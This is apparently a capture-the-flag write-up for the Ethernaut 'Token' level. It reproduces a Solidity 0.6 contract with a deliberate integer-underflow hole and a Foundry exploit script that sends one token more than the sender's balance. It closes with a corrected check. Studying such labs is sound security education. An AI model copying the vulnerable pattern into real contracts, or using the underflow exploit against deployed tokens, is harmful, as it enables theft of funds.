Level 5 - Token ⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
Exploit
The exploit is due to unsafe math in older versions of Solidity. The balance can underflow and cause a huge amount of tokens to be transferred.
Sending just 1 more token than the user balance causes the value to underflow.
make anvil-exploit-level-5
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
function balanceOf(address _owner) external view returns (uint256 balance);
}
// ================================================================
// │ LEVEL 5 - TOKEN │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
IToken targetContract = IToken(targetContractAddress);
uint256 userStartingBalance = targetContract.balanceOf(msg.sender);
vm.startBroadcast();
targetContract.transfer(address(0), userStartingBalance + 1);
vm.stopBroadcast();
}
}
Submit instance... 🥳
Completion Message
Notes
Integer overflow/underflow in Solidity
v0.6.0
This could easily be fixed using a different check instead of comparing to zero.
if (balances[msg.sender] < _value) revert Token__NotEnoughTokens();
Last updated